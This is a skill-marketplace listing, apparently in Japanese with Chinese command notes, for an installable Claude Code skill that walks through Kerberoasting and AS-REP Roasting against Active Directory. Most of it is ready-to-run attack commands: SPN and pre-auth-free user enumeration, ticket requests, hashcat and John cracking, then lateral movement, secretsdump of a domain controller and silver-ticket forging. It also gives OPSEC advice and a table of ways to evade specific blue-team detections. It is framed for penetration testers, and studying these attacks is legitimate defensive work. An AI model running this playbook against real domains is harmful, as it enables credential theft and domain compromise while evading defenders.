kerberoast-attack について
Active Directory のセキュリティテスター向けに、Kerberoasting と AS-REP Roasting の手順をまとめたガイドです。チケットやハッシュの取得、オフライン解析、認証情報取得後の利用に加え、対象選定や検知上の留意点も扱います。
主な機能
- 01SPN 列挙とサービスチケット要求
- 02事前認証不要ユーザーの発見
- 03Hashcat または John によるオフライン解析
- 04重要なアカウントと SPN の優先選定
- 05検知と運用上の回避策の確認
活用シーン
- 01ドメインのサービスチケットにおけるパスワードリスク評価
- 02事前認証不要のドメインユーザーの発見とテスト
- 03BloodHound のデータを用いたテスト対象選定
インストール
コマンドをコピーしてターミナルで実行します。
$
npx skills add https:/ / github.com/ wgpsec/ aboutsecurity --skill kerberoast-attackインストール後、Claude Code で/kerberoast-attackを入力して読み込まれたか確認します。
同梱ファイル
SKILL.md と一緒にインストールされる参考資料やスクリプト。
references/advanced-kerberoast.mdhash-cracking-guide.mdhash-cracking.md詳細
Kerberoasting と AS-REP Roasting
主な価値:任意のドメインユーザー権限で高権限サービスアカウントのパスワードを取得し、権限昇格なしでドメイン管理者レベルに到達できます。
⛔ 詳細な参考資料
- Hashcat のクラックモードと辞書戦略 → references/hash-cracking.md
- 複数のハッシュタイプに関する GPU ベンチマークと高度なクラック手法 → references/hash-cracking-guide.md
- 防御回避と高度な悪用 → references/advanced-kerberoast.md
パート A:Kerberoasting(任意のドメインユーザーの認証情報が必要)
フェーズ 1:SPN の列挙
# impacket — 最推荐
impacket-GetUserSPNs DOMAIN/user:pass -dc-ip DC_IP -request
# netexec
netexec ldap DC_IP -u user -p pass --kerberoasting output.txt
# 纯 LDAP 查询
ldapsearch -H ldap://DC_IP -D "user@domain" -w "pass" \
-b "DC=domain,DC=com" "(&(objectClass=user)(servicePrincipalName=*))" \
sAMAccountName servicePrincipalName memberOf
# PowerShell(已在域内机器)
setspn -T domain -Q */*
# 或
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName
フェーズ 2:チケット要求の戦略
加密类型选择:
├─ RC4 (etype 23) → hashcat mode 13100 → 破解速度快 ⭐
├─ AES256 (etype 18) → hashcat mode 19700 → 破解速度慢 10x
└─ AES128 (etype 17) → hashcat mode 19600 → 中等
策略:
├─ 默认 impacket 请求 RC4 → 最快破解
├─ 如果目标强制 AES → 只能接受慢速破解
├─ ⛔ 域控可能监控 RC4 TGS 请求 → OPSEC 风险!
└─ AES 请求更隐蔽(正常行为),但破解慢
OPSEC に関する考慮事項:
# 隐蔽方式:请求 AES 加密票据(看起来更正常)
impacket-GetUserSPNs DOMAIN/user:pass -dc-ip DC_IP -request -outputfile hashes.txt
# 超隐蔽:只请求特定高价值 SPN(不枚举全部)
impacket-GetUserSPNs DOMAIN/user:pass -dc-ip DC_IP \
-request -target-user svc_sql_admin
# ⛔ 避免:一次性请求所有 SPN 的票据 → 告警
フェーズ 3:オフラインでのクラック
# Hashcat — GPU 破解
hashcat -m 13100 hashes.txt wordlist.txt # RC4
hashcat -m 19700 hashes.txt wordlist.txt # AES256
hashcat -m 13100 hashes.txt wordlist.txt -r rules/best64.rule # 规则
# John the Ripper
john --format=krb5tgs hashes.txt --wordlist=wordlist.txt
# 字典选择优先级
├─ 1. 目标相关字典(公司名+年份+特殊字符)
├─ 2. rockyou.txt + 规则
├─ 3. 泄露密码库
└─ 4. 组合攻击(公司名 + 常见模式)
フェーズ 4:価値の高いターゲットの特定
并非所有 SPN 账户都值得破解,优先级:
高价值(优先破解):
├─ 账户是 Domain Admins / Enterprise Admins 成员
├─ 账户名含 "admin" / "svc" / "sql" / "backup"
├─ 账户有 AdminCount=1 属性
├─ 账户在 BloodHound 攻击路径上
└─ 账户密码策略宽松(无强制复杂度)
判断方法:
ldapsearch ... "(&(servicePrincipalName=*)(adminCount=1))" sAMAccountName
パート B:AS-REP Roasting(認証情報不要/ユーザーリストが必要)
フェーズ 1:事前認証不要のユーザーを発見する
# 无需凭据 — 枚举无需预认证的用户
impacket-GetNPUsers DOMAIN/ -dc-ip DC_IP -usersfile users.txt \
-format hashcat -outputfile asrep_hashes.txt
# 有凭据 — 查询所有无需预认证的用户
impacket-GetNPUsers DOMAIN/user:pass -dc-ip DC_IP -request
# LDAP 查询
ldapsearch -H ldap://DC_IP -D "user@domain" -w "pass" \
-b "DC=domain,DC=com" \
"(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))" \
sAMAccountName
# netexec
netexec ldap DC_IP -u user -p pass --asreproast asrep.txt
フェーズ 2:AS-REP ハッシュをクラックする
# hashcat mode 18200
hashcat -m 18200 asrep_hashes.txt wordlist.txt -r rules/best64.rule
# john
john --format=krb5asrep asrep_hashes.txt --wordlist=wordlist.txt
パート C:侵入後 — クラックに成功した後
拿到服务账户密码后:
├─ 使用凭据横向移动
│ netexec smb TARGETS -u svc_account -p 'cracked_pass'
├─ 如果是 DA/高权限
│ impacket-secretsdump DOMAIN/svc_admin:pass@DC_IP
├─ 申请 Silver Ticket(不经过 DC 验证)
│ impacket-ticketer -nthash HASH -domain-sid S-1-5-... -domain DOMAIN -spn ...
└─ 添加 SPN 到已控账户 → Targeted Kerberoasting
setspn -a http/fake svc_account # 让其他人可以对你 Kerberoast
検知と回避の対照表
| ブルーチームの検知 | レッドチームの対策 |
|---|---|
| 大量の TGS 要求(EventID 4769) | 価値の高いターゲットのみ要求し、全件を列挙しない |
| RC4 へのダウングレード検知 | AES256 チケットを要求する(クラックは遅いものの、検知されにくい) |
| ハニーポット SPN アカウント | BloodHound のデータと照合し、異常な SPN を除外する |
| 異常な時間帯の要求 | 業務時間内に操作する |
| 特定のアカウントへの大量のチケット要求 | 要求の時間を分散する |
ツール早見表
| ツール | 用途 |
|---|---|
| impacket-GetUserSPNs | Kerberoasting のチケット要求 |
| impacket-GetNPUsers | AS-REP Roasting |
| netexec | 列挙と攻撃を統合 |
| Rubeus | Windows での Kerberoasting(OPSEC オプションを含む) |
| hashcat | GPU によるオフラインクラック |
| BloodHound | 価値の高い SPN アカウントの特定 |
コメント
Markdown 対応